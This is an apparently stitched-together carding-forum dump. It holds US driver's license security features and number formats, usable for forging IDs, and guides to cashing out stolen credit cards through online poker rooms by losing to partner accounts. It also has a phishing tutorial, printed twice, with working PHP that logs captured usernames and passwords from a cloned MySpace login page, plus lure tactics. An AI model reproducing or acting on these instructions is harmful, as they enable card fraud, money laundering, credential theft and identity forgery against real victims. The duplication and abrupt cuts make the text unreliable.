this: J123-123-39-123. The two digit group is the birth year. An additional trick is that minors under 21
|
||
have a yellow background on their photos. The most difficult to overcome trick used with this license is
|
||
state seals printed in ink visible only under ultraviolet light.
|
||
Georgia:
|
||
The license is photographic and laminated. Current licenses have a bar code on the back and a
|
||
holographic patch in the front. On prior licenses, the photo runs from top to bottom on some issues, and
|
||
the data box titles may vary. Current licenses have "Georgia" followed by "COMMERCIAL DRIVER'S
|
||
LICENSE" in a goldish- yellow. Prior issue has a yellow "GEORGIA" followed by "COMMERCIAL
|
||
LICENSE" or "COMMERCIAL DRIVER'S LICENSE" in smaller black letters with the same words in
|
||
yellow across the data box.
|
||
The Minor's license has "UNDER 21" vertically to the left of the photo, the 21st birthdate, "UNTIL (21st
|
||
birthdate)", a picture border, and heading all in red. The prior issue had "UNDER 21" in red on the front.
|
||
The current license has "Georgia" in a holographic patch over the driver's date of birth and the state seal.
|
||
The prior issue has the Commissioner's and the Governor's signatures, and the state seal overlapping the
|
||
photo.
|
||
The license number is up to 9 digits, and not coded. The Social Security number or a control number is
|
||
used.
|
||
The license is valid for 4 years, expiring on the birthday. An honorary veteran's license may be updated
|
||
by having the department sticker attached to the back. The operator's minumum age is 16.
|
||
This is a photographic laminated card with the blue state seal on the front, surrounded by a pattern of
|
||
orange lines. The safeguards include both the Governor's and Commissioner's signatures, but not
|
||
overlapping the photo. Drivers under 20 have a red bar at the top of the card.
|
||
Hawaii:
|
||
This license is a plastic card with a rainbow on the front. The CDL has "CDL" in red letters below the
|
||
"CTY" field at the right side of the license.
|
||
The Minor's license has "UNDER 21 UNTIL (month-day-year of 21st birthday)" in red below the license
|
||
number.
|
||
The current license has a holographic overlay of a hibiscus flower and "Aloha State" repeating over the
|
||
face of the license. The prior license has a hologram with "ALOHA STATE" over the date of birth which
|
||
encroaches into the picture area.
|
||
The license number is the Social Security number. The license number may change to an alternative
|
||
system beginning in 2001 if pending legislation approves it.
|
||
The license is valid for 6 years for those 18-71 starting July 1997, expiring on their birthday. The license
|
||
is valid for 4 years for drivers 15-17, and for 2 years for drivers 72 and older. Before 1997, people
|
||
between 15-24 and adults 65 and older were issued licenses valid for 2 years, and all others expired after
|
||
4 years. The license can be renewed 6 months prior to expiration, even making some licenses (depending
|
||
|
||
on birth date) valid for over 6 years. The operator's minimum age is 15, which may change to 16.
|
||
This looks more like a bank card than the typical drivers license because the data is embossed. The photo
|
||
is at the upper right, embedded in the plastic card. An additional 10-digit number is at top right, above the
|
||
photo, and minors under 17 are identified by having their photos in profile.
|
||
Idaho:
|
||
This license is photographic and encased in plastic. Older issues have date in boxes. The CDL has a
|
||
notation above the signature, or "SEASONAL CDL" printed vertically in red on the left and right sides of
|
||
the laminate.
|
||
The Minor's license has "UNDER 18 UNTIL (date)" in the donor area for those under 18 and "UNDER
|
||
21 UNTIL (date)" below the birth date for those under 21, starting January 2000. "UNDER 21" is also
|
||
stamped in red to the right of the address for drivers under 21. Previous issues might not have the red
|
||
stamp and some of the oldest issues may have profile photos. Drivers who are 15 are restricted to only
|
||
driving during daylight until they are 16.
|
||
There is a repetitive gold state seal on the license, and the camera number splits the line on the right edge
|
||
of the photo. An additional number must appear below the driver's license number.
|
||
The license number has 9 characters: 2 letters, 6 numbers, and 1 letter, starting May 1993. Before that
|
||
date, the Social Security number or an assigned number, starting with 910, 920, or 940 and then 6 digits,
|
||
was used.
|
||
The license is valid for 4 or an optional 8 years for those between 21 and 62, starting January 2000.
|
||
Before that date, licenses are valid for 4 years. If a renewal sticker is attached to the back of an expired 4-
|
||
year license, the license is extended for one more 4-year term. A separate 1-year extension is available.
|
||
The operator's minimum age is 15 with driver training, with a daylight restriction until 16.
|
||
This license is a laminated Polaroid with a gold pattern in the lamination. Minors under 19 are identified
|
||
by a photo in profile, instead of full-face. The license number may be the Social Security number.
|
||
Otherwise, it's 9 digits beginning with "910" or "911". Only the Social Security number is hyphenated.
|
||
Illinois:
|
||
The current license is digitized with a retroreflective hologram. The CDL has a notation above the photo.
|
||
The Social Security number may appear beside the birth date on the current license or above it for prior
|
||
issues, but this is optional.
|
||
The Minor's license has a red headbar, and a red aura around the state seal. "UNDER 21 UNTIL (date)" is
|
||
in the headbar, and the birth date is blocked in red. Prior licenses have a red photo backdrop, red bars at
|
||
the top and bottom (in the laminate) and "UNDER 21" on the right side of the laminate and on the back
|
||
for those under 21.
|
||
Current licenses have a hologram that says "A Safer State with .08" repeating across the bottom, and .08
|
||
is inside the state outline. Prior licenses have a raised hologram over the birth date area and the photo
|
||
edge. Prior licenses have a small repetitive pattern of "ILLINOIS" across the data area.
|
||
The license number is the first letter of the last name, followed by 11 digits. XXX for the last name
|
||
coded, XXX for the first name and middle initial coded, XX for the year of birth not coded, and XXX for
|
||
the day and month of birth and sex, which might be different if two drivers have the same name and birth
|
||
date.
|
||
The nonrenewal licenses are valid up to 5 years, and the renewals are valid for 4 years, expiring on the
|
||
birthday. The Minor's license expires 3 months after the 21st birthday. The license can be extended for 4
|
||
|
||
years with a renewal sticker, as of January 1997. The operator's minimum age is 16.
|
||
This is a laminated Polaroid photo-ID with the repetitive letters "ILLINOIS" on the laminate. This license
|
||
is full of tricks. As a start, the photo has a number overlapping it. The license number itself is coded. It
|
||
begins with the first letter of the last name, followed by three digits coded on the last name. The next
|
||
three digits are a code based on the first name and middle initial. The next two digits are the year of birth
|
||
and the last three digits signify the person's sex, and the month and day of birth, again in code. The
|
||
number is hyphenated in a misleading way, though: A123-4567-8901.
|
||
Indiana:
|
||
The current license is digitized with a security coating. The prior license is photographic and encased in
|
||
plastic. The prior issues use slash marks in some date fields and the donor field may not be present. The
|
||
current license uses red shading and "COMMERCIAL DRIVER LICENSE-CLASS X" for CDL. The
|
||
prior issue has a yellow headbar and has "COMMERCIAL/ DRIVER'S LICENSE".
|
||
The Minor's license has "Under 21 Until (date)" below the photo in red. Starting January 1999, drivers
|
||
under the age of 18 have "PROBATIONARY" under license type. The older issue has a red photo
|
||
background for drivers under 21.
|
||
The current license has a torch-and-stars pattern on laminate which is visible when tilted. The prior issue
|
||
has the camera number overlapping the photo edge and a gold "INDIANA" pattern repeating on the
|
||
laminate.
|
||
The license number is a 10-digit number spaced as XXXX-XX-XXXX and is not coded.
|
||
The license is valid for 4 years, expiring on the birth date, beginning January 1998. Before that date, the
|
||
license expires on the last day of teh birth month. Drivers who are 75 or older receive 3-year licenses. The
|
||
minimum operator's age is 16 years and 30 days.
|
||
This is a photo ID with a laminate on the front, which gives it a silky texture. There's nothing significant
|
||
about the license number, which may be a Social Security or other number with 9 digits. One trick used in
|
||
this license is listing both the expiration date and the date for re-examination. If they don't match, the
|
||
license is fake. Additionally, there are state seals hidden in the plastic.
|
||
Iowa:
|
||
These licenses are the credit-card style, with bar codes and a magnetic stripe on the back. The prior
|
||
license is enclosed in plastic. The CDL has a green header and a picture border, along with "IOWA
|
||
COMMERCIAL/DRIVER LICENSE". The prior license has "CDL" down the right side of the license.
|
||
The Minor's license has drivers under 18 receiving a first-level operator license with a fuchsia header and
|
||
a picture border, titled "IOWA INTERMEDIATE/DRIVER LICENSE". "Under 18/ 21 Until MM-DD-
|
||
YY" apprears under the photo. Older formats have "UNDER 21" or "MINOR" down the right side.
|
||
Current licenses have name and address in red below photo, and the last two digits of the date of birth are
|
||
in red under the expiration date.
|
||
The director's signature and station number overlap the photo. There is also a multicolored state seal and a
|
||
DOT logo repeating in the security laminate.
|
||
The license number is the Social Security number, or a combination of 3 numbers, 2 letters, and 4
|
||
numbers.
|
||
The license is valid for 2 or 4 years, expiring on the birthday, with a 60-day grace period. 2 or 4-year
|
||
extensions take effect when they are accompanied by a renewal certificate. Also, two 6-month extensions
|
||
are available. The first-level operator's license is good for up to one year. The operator's minumum age is
|
||
16, but the restricted license is available to those who are atleast 14.
|
||
|
||
This is a photo-ID laminated in plastic. The tricks employed in this license are that the Director's
|
||
signature and the station number overlap the photo. The license number may be the SS number or nine
|
||
digits and letters. Minors under 19 have their photos in profile. An additional trick is the lettering "IOWA
|
||
DEPARTMENT OF TRANSPORTATION" in the plastic.
|
||
Kansas:
|
||
This license is encased in plastic with or without rounded corners. A holographic rectangle is on the front,
|
||
and and there is a magnetic stripe on the back. The Administrators' names may vary. For the CDL, "CDL"
|
||
is on the headbar.
|
||
The Minor's license says "NOT 21 UNTIL XX-XX-XXXX" in white letters on a red band below the
|
||
photo or "NOT 18 UNTIL XX-XX-XXXX" in black letters on a green band beginning July 1997. Drivers
|
||
14 to 16 have J02 or J09 in the restriction field or "Age Restricted to 16" or "Farm Permit".
|
||
The license uses a holographic rectangle which shows "KANSAS" in blue to the right of the photo.
|
||
The license number is the Social Security number or an assigned number of K and 8 digits.
|
||
The license is valid for 6 years for drivers between the ages of 21 and 64, which expires on their birthday,
|
||
with a 2-year early renewal option, beginning January 1998. Before that date, licenses are valid for 4
|
||
years. Beginning July 1995, out-of-state licenses can be extended up to 6 months. The operator's
|
||
minimum age is 14, which is restricted until 16.
|
||
This license is a laminated photo-ID with the state seal in front in the data area. Two signatures overlap
|
||
the photo. There are a couple of tricks: Those under 21 have red backgrounds in the photos. The letters
|
||
"KANSAS" are repeated on the laminate.
|
||
Kentucky:
|
||
This license is photographic and encased in plastic. The older issue features a repetitive pattern of
|
||
"KENTUCKY" across the data area, and the current issue has a running horse as part of the state name.
|
||
The prior issue has "CDL LIC" or "CDL LICENSE" printed above the photo. The current issue license
|
||
shows "CDL" in the license type area.
|
||
The Minor's license has "UNDER 21" in blue on the sides of the laminate, and "UNDER 21" above the
|
||
photo. The prior issue has blue bars at the top and bottom in the laminate, and the same words on the
|
||
back.
|
||
The current issue has a large ghost seal and a stylized laminate, plus a vertical signature at the left side of
|
||
the photo. The prior issue has a state seal above the data area, and the signature and camera number
|
||
overlapping the photo edges.
|
||
The license number is a 9-character number beginning with a letter (usually the first initial of the last
|
||
name), then the 2-digit year the license was issued, and then a sequence of 6 numbers. Before November
|
||
1996, this number was not hyphenated. Before November of 1995, the Social Security number or an
|
||
assigned 9 or 10-digit number was used.
|
||
The license is valid for 4 years for drivers age 21 and over, expiring on the last day of the birth month.
|
||
For those under 21, it is valid for up to 5 years, but it expires 30 days after the driver's 21st birthday.
|
||
|
||
Online Casinos Explained
|
||
This article is written exclusively for the beginners and cannot be considered as a ideal description of
|
||
earning money from online casinos
|
||
1. Selecting a Casino (finding a poker site)
|
||
I would advise beginners to start by searching poker websites. You will become an expert by typing in the
|
||
following phrases such as Poker, Casino, Slot or Texas hold ‘em on search engines such as Google,
|
||
Yahoo.
|
||
When you finally complete your search, compile a list of online casinos and start by examining them all.
|
||
You will need to first register accounts on the online casinos that you have chosen from your search.
|
||
Enter any registration data and then proceed to the category, Deposit/Withdrawal. Here we can see which
|
||
types of money can be deposited and withdrawn on this specific casino site. It is important to focus on the
|
||
credit card deposit, fortunately almost every online casino this type of depositing money. The reason for
|
||
online casinos accepting credit cards as a method of depositing money is simple; it is convenient, easy
|
||
and is well saturated because of the high usage of credit/debit cards. Take a look at the method of
|
||
withdrawing money. The most popular methods will be Money Bookers, Click2pay, Neteller, Credit Card
|
||
and a few other payment accounts and systems. Webmoney is the least used system of money withdrawal,
|
||
try to guess why )
|
||
So, when you have chosen an online casino we will continue our guide with all the mentioned above
|
||
parameters. Now we are interested in the limits on the first deposit. The bigger the limit is, the better for
|
||
us. Still, I would not advise you on starting to work with online casinos such as Go Play of the B2B net,
|
||
because here the limit of the first deposit will it reach the maximum at 20 dollars. Usually almost all
|
||
casinos have high limit, which exceed that sum that we will deposit. I would like to note that anti-fraud
|
||
policies of the online casino affects all the rooms on this site – which means that if one of the room blocks
|
||
you from depositing or withdrawing money or asks you for scans or calls you, it is better to leave this
|
||
online casino, as it will make life difficult.
|
||
2. Depositing (Depositing using cvv)
|
||
Remember that you will probably not be able to use American cards on your online casino that you have
|
||
selected, because Americans are prohibited from gambling online. However an alternative solution is to
|
||
buy EU cc or one from the UK, although cards from Italy, France or Germany are the best to use. When
|
||
you have got you valid cc – we can definitely get started.
|
||
We should follow the standard registration procedure. Enter in all the cardholder’s information. After you
|
||
have entered in one valid e-mail addresses, you will receive a email link to verify this online casino
|
||
account, once you have clicked the link in the email, you have completed the e-mail verification and will
|
||
have completed registration. If you have not logged in to the account now is the time to login. We are
|
||
interested in the balance growth. Click on the methods of deposit and in our case, the method is credit
|
||
card. Copy all the data and enter it into the correct text fields. Usually the page will ask you to enter the
|
||
CC number, First and Last name, Card expiry date and CVV code, which is the last 3 digits on the back
|
||
of a credit card (if its Visa or MasterCard. It will ask you to enter the amount you wish to deposit. (I
|
||
Strongly recommend you on setting the amount within the range of 200-700 dollars, depending on the
|
||
online casino and card type). One important thing – Remember to set the card’s type, If it is a Visa then
|
||
the CC number will begin with a 4 or 6, if it is a MasterCard it will start with a 5.
|
||
Click on the Submit button and wait until the data processing is complete. If the deposit was not
|
||
successful, you should not get upset – everything comes with experience. There could be several reasons
|
||
as to why this has happened: either the bank did not authorize this transaction, the card has exceeded the
|
||
limit for that day or that the card does not have enough funds. Alternatively the site may not allow the cc
|
||
processing of a particular bank. After a short period of time you will make your own BIN-base of the
|
||
cards that you can deposit successfully. So let’s move on to the next point.
|
||
3. Losing to the other person
|
||
Here we have reached the important point, in my opinion. There are two parts of a deposit.
|
||
a. Lose
|
||
The idea is to lose the money in this account to your partners. your partner should have a clear account on
|
||
this online casino. On this account a deposit should be made, and on this account all the money won will
|
||
|
||
be added. You choose one room in the poker site and start the game. It will most probably be the Texas
|
||
hold ‘em poker game.
|
||
I will describe the game rules in another topic. I have experience playing poker this is why I am planning
|
||
to write up articles on the game nuances.
|
||
During the game you should realistically lose your staked money. You know your opponents cards and on
|
||
your mutual decision you make a stake or pass – as a result of it on the river you should have a winning
|
||
combination, you hand should be really strong respectfully to the strength of the combination of your
|
||
partner. The possibility of bluff is not excluded too. For example if you hand is a little weaker in this case
|
||
you have a pair of JJ and you opponent has a pair of QQ 0 in this case if you make bet/raise (stake the
|
||
sum or raise it) on the sum of ? of your bank or higher till the stake ‘all in’ a stake for all the dibs) you
|
||
will get a pot (bank). Naturally all the game goes according to the wishes and desires of your partner,
|
||
there should be harmony in your actions in order to escape unneeded situations.
|
||
I will not get into the details of the game’s nuances when there are other people playing in the same room,
|
||
I will just describe shortly one of the main and important tactics. You and your opponent take seats close
|
||
to each other. Somebody among you both (it will be better if its yourself – because It is easier to lose
|
||
somebody’s money) regularly and aggressively lays and stakes his money on the preflop – the first step of
|
||
the game, it is there when the cards should be divided among the players in a clockwise fashion, starting
|
||
from the player called BigBlaind). Doing this he sorts or even makes people discard their cards. The bid
|
||
sum should not be very small or very big. I think that it will be convenient to make a first bid of the sum
|
||
of 10BB. Still everything depends on the style of playing of the other player, on their general amount and
|
||
on the cards you have.
|
||
That’s all; I have already described a first method…then we will take a closer look to each of them.
|
||
B) Go on playing
|
||
This method requires professionalism and special knowledge of the game itself, and it will not be
|
||
convenient for the beginners.
|
||
The sense is to win the game-actually; this aim has every player of the room. When you have already won
|
||
some certain sum of money you make a withdrawal on the card you have previously made a deposit on,
|
||
you set the same amount of money you had at the beginning of your game. One problem can arise – every
|
||
Casino asks you to make the first withdrawal to the same place (card or some system) where you had your
|
||
first deposit. Moreover the sum of money withdrawed should be equal to those of the deposit. The rest of
|
||
the money, won by you, can be transferred to other systems by every possible means.
|
||
Here probably you will have a question, why should not I play honestly and win the money, if I can
|
||
simply use my own budget and then be free to choose the way of its withdrawal escaping other
|
||
impediments? It is not so pitifully – to lose somebody’s money and not your own. Having lost all the
|
||
deposit you will lose your maximum – your time and material, which costs lower and much lower than
|
||
the previous option Benefit is obvious here.
|
||
|
||
Paypal Cvv
|
||
carding
|
||
Two accs from this site http://poker.betfair.com one with the emal adress of the pp you want to cash out
|
||
and one with your real data. make sure that u have verified the real acc to withdraw your money from this
|
||
site(i lost 250 on research for this tut ) before u transfer big sums two acc where suspended from me.
|
||
after you know everything works u only need 2 ip addy one for the real name acc and one for the acc u
|
||
want to cash out i suggest to use rdp for the other one.
|
||
now u can meet on an empty and start transfer the money (750 max). make a small show than it wont be
|
||
suspect 4 the admin.
|
||
|
||
Phishing
|
||
Tutorial
|
||
Hello carders, maybe someone will find this usefull! enjoy
|
||
1. Intro
|
||
There are couple of other phishing tutorials around here, but some people seem to have problems
|
||
understanding them. So I'll try to be as simple as possible. This phishing tutorial is written for newbs, and
|
||
if you have problems understanding it, then you need to get some beginner level computer knowledge
|
||
first.
|
||
-This article was written for educational purpose only. I'm not responsible for any illegal activity that you
|
||
may commit.
|
||
2. What is a phisher?
|
||
Phisher is something that looks like a login page(a fake login page), that writes the username and the
|
||
password to a file, or does whatever you want.
|
||
3. How to make one?
|
||
All you need is a web hosting service with PHP enabled.
|
||
We will use t35. Go to www. t35. com (remove spaces) and sign up for a free account. (whenever I write
|
||
something like www. t35. com, you should remove the spaces inbetween. I'm doing it cause the link for
|
||
t35 is censored on hackforums.) In this tutorial we will make a phishing site for Myspace(the procedure is
|
||
equivalent for most of the sites). While not signed in myspace, open anyone's profile and click on his
|
||
picture. That will lead you to Myspace's login page that has the red box with"You Must Be Logged-In to
|
||
do That!" just above your login form. Now, click File>Save Page As, and save the myspace page to your
|
||
Desktop. Open your saved page with any text editor(notepad, wordpad etc.). Select all of the text(the
|
||
source code), and copy it.
|
||
Get back to your t35 account and click on 'New File', delete the text that will be there by default, and
|
||
paste the Myspace's source code there. Name the file 'index.php'(without the ''), and save it.
|
||
Now you have made a page equal to Myspace. Everything on that page will have the same function as if it
|
||
were on the original site. The link to your phish site will be 'www.xxx. t35. com/index.php' - where 'xxx'
|
||
is the name of your account(you can name it anyhow.
|
||
But there is a little problem. When someone enters his username and password and press login, it logs
|
||
him into the real myspace.
|
||
What do we need to change?
|
||
What we need to change is the action of the 'login' button, so instead of logging them into the real site, it
|
||
writes the username and password to a text file.
|
||
Open your 'index.php' file. Search in the code for keywords 'action='.
|
||
There will be several 'action=some link' in the myspace's source code(for the sign in button, search
|
||
button, etc.). We need to find the 'action=some link' that refers to the Login button.
|
||
After some searching, we find the:
|
||
Code:
|
||
<h5 class="heading">
|
||
Member Login
|
||
</h5>
|
||
<form action="http://secure.myspace.com/index.cfm?fuseaction=login.process" method="post"
|
||
id="LoginForm" name="aspnetForm">
|
||
<div>
|
||
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE"
|
||
value="/wEPDwUJNTMzMjE3MzI5ZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVB
|
||
vc3RCYWNrS2V5X18WAgUwY3RsMDAkT
|
||
WFpbiRTcGxhc2hEaXNwbGF5JGN0bDAwJFJlbWVtYmVyX0NoZWN
|
||
|
||
rYm94BTBjdGwwMCRNYWluJFNwbGFza
|
||
ERpc3BsYXkkY3RsMDAkTG9naW5fSW1hZ2VCdXR0b24=" />
|
||
</div>
|
||
and we know that 'action="http://secure.myspace.com/index.cfm?fuseaction=login.process"' refers to the
|
||
login button.
|
||
Change:
|
||
action="http://secure.myspace.com/index.cfm?fuseaction=login.process"
|
||
To:
|
||
action="login.php"
|
||
and save the file.
|
||
Formerly, when you click the login button it would take the values in the username and password boxes,
|
||
and execute the functions in the 'http://secure.myspace.com/index.cfm?fuseaction=login.process' file.
|
||
Now when you click the login button it will take the values in the username in password boxes, and
|
||
execute the functions in the 'login.php' file on your site(which doesn't exist yet).
|
||
All we have to do now, is to create a 'login.php' file that contains a function that writes down the
|
||
username and password into a text document.
|
||
Make another file named 'login.php'(without the quotes) and paste the following code in it:
|
||
Code:
|
||
<?php
|
||
header ('Location: MySpace | Login ');
|
||
$handle = fopen("passwords.txt", "a");
|
||
foreach($_POST as $variable => $value) {
|
||
fwrite($handle, $variable);
|
||
fwrite($handle, "=");
|
||
fwrite($handle, $value);
|
||
fwrite($handle, "\r\n");
|
||
}
|
||
fwrite($handle, "\r\n");
|
||
fclose($handle);
|
||
exit;
|
||
?>
|
||
The function of login.php is simple. It opens a file named 'passwords.txt'(and creates it if it doesn't
|
||
already exist) and enter the informations there(the username and password).
|
||
Congratulations! You have a phisher!Superman
|
||
The link to your phish site is:
|
||
http://xxx. t35. com/index.php -where 'xxx' is your account name.
|
||
The link to your text file is:
|
||
http://xxx. t35. com/passwords.txt
|
||
Or you may access it from your account.
|
||
Note that you can choose whatever names you like for index.php, login.php and passwords.txt. but the
|
||
.php and .txt must stay the same.
|
||
4. How to trick people to fall for it.
|
||
There are billions of ways how to do it, your creativity is your limit.
|
||
Most common way is to make an email similar to the admin, and sending them some report with a link to
|
||
log in the site(your phish site). Ofcourse you will mask the link.
|
||
How to mask the link?
|
||
If you're posting it on forums, or anywhere where bb code is enabled, you're doing this:
|
||
Code:
|
||
TheOriginalSiteLink
|
||
For example, Google looks like a google, but it leads you to yahoo when you click it.
|
||
|
||
If you're making the phisher for myspace, and want to get random ppl to it, you can simply make some
|
||
hot chick account and put some hot pic that will lead to your phish site when clicked. So when they click
|
||
the lusty image, they will be led to your phish site telling them they need to log in to see that.Hehe
|
||
Like this:
|
||
Code:
|
||
link%20of%20the%20image
|
||
When sending emails see for the option 'hyperlink', and it's self explainable once you see it.
|
||
There are many other ways, and as I said, your creativity is the limit.
|
||
5. Outro
|
||
I hope that this tutorial was helpful and simple enough. It explains how to make a phisher, and how it
|
||
works. Although is written for Myspace, the procedure is equivalent for almost every other login site(for
|
||
hotmail is different). After this, it's up to you to explore, experiment and dive in the world of social
|
||
engineering
|
||
Phishing tut
|
||
Hello carders, maybe someone will find this usefull! enjoy
|
||
1. Intro
|
||
There are couple of other phishing tutorials around here, but some people seem to have problems
|
||
understanding them. So I'll try to be as simple as possible. This phishing tutorial is written for newbs, and
|
||
if you have problems understanding it, then you need to get some beginner level computer knowledge
|
||
first.
|
||
-This article was written for educational purpose only. I'm not responsible for any illegal activity that you
|
||
may commit.
|
||
2. What is a phisher?
|
||
Phisher is something that looks like a login page(a fake login page), that writes the username and the
|
||
password to a file, or does whatever you want.
|
||
3. How to make one?
|
||
All you need is a web hosting service with PHP enabled.
|
||
We will use t35. Go to www. t35. com (remove spaces) and sign up for a free account. (whenever I write
|
||
something like www. t35. com, you should remove the spaces inbetween. I'm doing it cause the link for
|
||
t35 is censored on hackforums.) In this tutorial we will make a phishing site for Myspace(the procedure is
|
||
equivalent for most of the sites). While not signed in myspace, open anyone's profile and click on his
|
||
picture. That will lead you to Myspace's login page that has the red box with"You Must Be Logged-In to
|
||
do That!" just above your login form. Now, click File>Save Page As, and save the myspace page to your
|
||
Desktop. Open your saved page with any text editor(notepad, wordpad etc.). Select all of the text(the
|
||
source code), and copy it.
|
||
Get back to your t35 account and click on 'New File', delete the text that will be there by default, and
|
||
paste the Myspace's source code there. Name the file 'index.php'(without the ''), and save it.
|
||
Now you have made a page equal to Myspace. Everything on that page will have the same function as if it
|
||
were on the original site. The link to your phish site will be 'www.xxx. t35. com/index.php' - where 'xxx'
|
||
is the name of your account(you can name it anyhow.
|
||
But there is a little problem. When someone enters his username and password and press login, it logs
|
||
him into the real myspace.
|
||
What do we need to change?
|
||
What we need to change is the action of the 'login' button, so instead of logging them into the real site, it
|
||
writes the username and password to a text file.
|
||
|
||
Open your 'index.php' file. Search in the code for keywords 'action='.
|
||
There will be several 'action=some link' in the myspace's source code(for the sign in button, search
|
||
button, etc.). We need to find the 'action=some link' that refers to the Login button.
|
||
After some searching, we find the:
|
||
Code:
|
||
<h5 class="heading">
|
||
Member Login
|
||
</h5>
|
||
<form action="http://secure.myspace.com/index.cfm?fuseaction=login.process" method="post"
|
||
id="LoginForm" name="aspnetForm">
|
||
<div>
|
||
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE"
|
||
value="/wEPDwUJNTMzMjE3MzI5ZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVB
|
||
vc3RCYWNrS2V5X18WAgUwY3RsMDAkT
|
||
WFpbiRTcGxhc2hEaXNwbGF5JGN0bDAwJFJlbWVtYmVyX0NoZWN
|
||
rYm94BTBjdGwwMCRNYWluJFNwbGFza
|
||
ERpc3BsYXkkY3RsMDAkTG9naW5fSW1hZ2VCdXR0b24=" />
|
||
</div>
|
||
and we know that 'action="http://secure.myspace.com/index.cfm?fuseaction=login.process"' refers to the
|
||
login button.
|
||
Change:
|
||
action="http://secure.myspace.com/index.cfm?fuseaction=login.process"
|
||
To:
|
||
action="login.php"
|
||
and save the file.
|
||
Formerly, when you click the login button it would take the values in the username and password boxes,
|
||
and execute the functions in the 'http://secure.myspace.com/index.cfm?fuseaction=login.process' file.
|
||
Now when you click the login button it will take the values in the username in password boxes, and
|
||
execute the functions in the 'login.php' file on your site(which doesn't exist yet).
|
||
All we have to do now, is to create a 'login.php' file that contains a function that writes down the
|
||
username and password into a text document.
|
||
Make another file named 'login.php'(without the quotes) and paste the following code in it:
|
||
Code:
|
||
<?php
|
||
header ('Location: MySpace | Login ');
|
||
$handle = fopen("passwords.txt", "a");
|
||
foreach($_POST as $variable => $value) {
|
||
fwrite($handle, $variable);
|
||
fwrite($handle, "=");
|
||
fwrite($handle, $value);
|
||
fwrite($handle, "\r\n");
|
||
}
|
||
fwrite($handle, "\r\n");
|
||
fclose($handle);
|
||
exit;
|
||
?>
|
||
The function of login.php is simple. It opens a file named 'passwords.txt'(and creates it if it doesn't
|
||
already exist) and enter the informations there(the username and password).
|
||
Congratulations! You have a phisher!Superman
|
||
The link to your phish site is:
|
||
http://xxx. t35. com/index.php -where 'xxx' is your account name.
|
||
The link to your text file is:
|
||
http://xxx. t35. com/passwords.txt
|
||
|
||
Or you may access it from your account.
|
||
Note that you can choose whatever names you like for index.php, login.php and passwords.txt. but the
|
||
.php and .txt must stay the same.
|
||
4. How to trick people to fall for it.
|
||
There are billions of ways how to do it, your creativity is your limit.
|
||
Most common way is to make an email similar to the admin, and sending them some report with a link to
|
||
log in the site(your phish site). Ofcourse you will mask the link.
|
||
How to mask the link?
|
||
If you're posting it on forums, or anywhere where bb code is enabled, you're doing this:
|
||
Code:
|
||
TheOriginalSiteLink
|
||
For example, Google looks like a google, but it leads you to yahoo when you click it.
|
||
If you're making the phisher for myspace, and want to get random ppl to it, you can simply make some
|
||
hot chick account and put some hot pic that will lead to your phish site when clicked. So when they click
|
||
the lusty image, they will be led to your phish site telling them they need to log in to see that.Hehe
|
||
Like this:
|
||
Code:
|
||
link%20of%20the%20image
|
||
When sending emails see for the option 'hyperlink', and it's self explainable once you see it.
|
||
There are many other ways, and as I said, your creativity is the limit.
|
||
5. Outro
|
||
I hope that this tutorial was helpful and simple enough. It explains how to make a phisher, and how it
|
||
works. Although is written for Myspace, the procedure is equivalent for almost every other login site(for
|
||
hotmail is different). After this, it's up to you to explore, experiment and dive in the world of social
|
||
engineering
|
||
Poker manual. Part1 – carding
|
||
Countries:
|
||
Best: ES, FR, DE, AU, IT, FI. (possible deposit withdraw, acceptance of lots of bins)
|
||
Where can be problems: US, CA, UK. ( USA and CA don’t accept gambling money, UK cards are dying
|
||
quick and can have too little balance or SMS-alerts);
|
||
Some rooms which accept USA CC:
|
||
SportsBook Poker
|
||
PlayersOnly Poker
|
||
Carbon Poker
|
||
Poker Stars
|
||
Bodog Poker
|
||
Only Poker
|
||
Super Book Poker
|
||
Full Tilt
|
||
|
||
And etc.
|
||
Accept the room your USA CC or don’t depends of BIN, more exactly – from the bank. USA is only for
|
||
beginners and for “loosing”.
|
||
Europe is better because you can use any data instead of holder’s name, address etc. All you need are card
|
||
number, exp and cvv. Ipoker’s rooms check any information before sending to merchant. It’s often helps
|
||
to contact with support.
|
||
Always check on valid your card before carding. ClickAndBuy.com -> New…
|
||
If you see that limit in the room is less than $600 – better look for another room of this poker net. It’s
|
||
possible that you’ll find the room with bigger limit.
|
||
If your account is automatically locked after you’ve made the deposit – use payment systems. You can
|
||
card any payment system where uses CC for uploading funds. I advise you to use moneybookers. It still
|
||
cards good. Either directly from CC or through merchant (you’ll have to accept SMS in the appropriate
|
||
country or use the card with VBV or MCSC – in this way you don’t have to accept SMS)
|
||
Also there are some exotic systems for carding like clickandbuy etc. but it’s not for public. Payment
|
||
systems are ALWAYS better for “loosing”. But there’re not good for cashing out.
|
||
What to do after money are deposited? – Read in the next article. Fraud inside the room
|
||
Poker manual. Part 2 – fraud inside the room
|
||
So we already have an account with money. Further we can:
|
||
- bet and win till $2000 on balance and:
|
||
1) sell for 10-20% from balance (deposit without withdraw 15-20%. To withdraw is possible only on Visa
|
||
CCs which were made not in USA). Maximum profit from account is about $400.
|
||
2) “lose” won money to a clean account (“lose” carded money is already not good idea). Today is actual
|
||
loosing in DoN (double or nothing) and timplay of expencive tournaments with less than 100 players (you
|
||
should have a least three carded accounts). Holdem on NL100-NL400 is almost dead so it’s not worth it if
|
||
it isn’t “standard” working limits of clean accounts. Also you can lose from carded account till some
|
||
“trust limit’ (it’s made by security service of the room and usually $20-$100) and withdraw on fresh-
|
||
registered account – it’s stable profit for people who don’t wait “jack-pots” and just want to work and
|
||
earn. Profit from $500.
|
||
3) Give for cashing out. Profit to $1000.
|
||
4) Make a deposit by yourself and withdraw (moneybookers, neteller, webmoney etc). Account in
|
||
payment system should be made with the same info (country, name, addres) which you used during
|
||
registration of poker account. Then make transfer to account for cashing out with linked credit card or
|
||
bank account.
|
||
- do the direct transfer to clean account BUT you mustn’t order a withdraw on clean one! There are a lot
|
||
of rooms where transfers work. In 90% won money are transferred without documents and shiet like this.
|
||
I advise you to use one more account between carded and clean Till they will lock and investigate the
|
||
chain your chances of success are growing.
|
||
- if you made deposit on promoted account (account with big history of playing and transactions) then
|
||
you can win come money and right after that withdraw the money to the account where you’ve already
|
||
made withdraw. Security service will start to work only after “fraud notification”. You can also make a
|
||
deposit from CC on your own clean account from cards of another countries and payment systems’
|
||
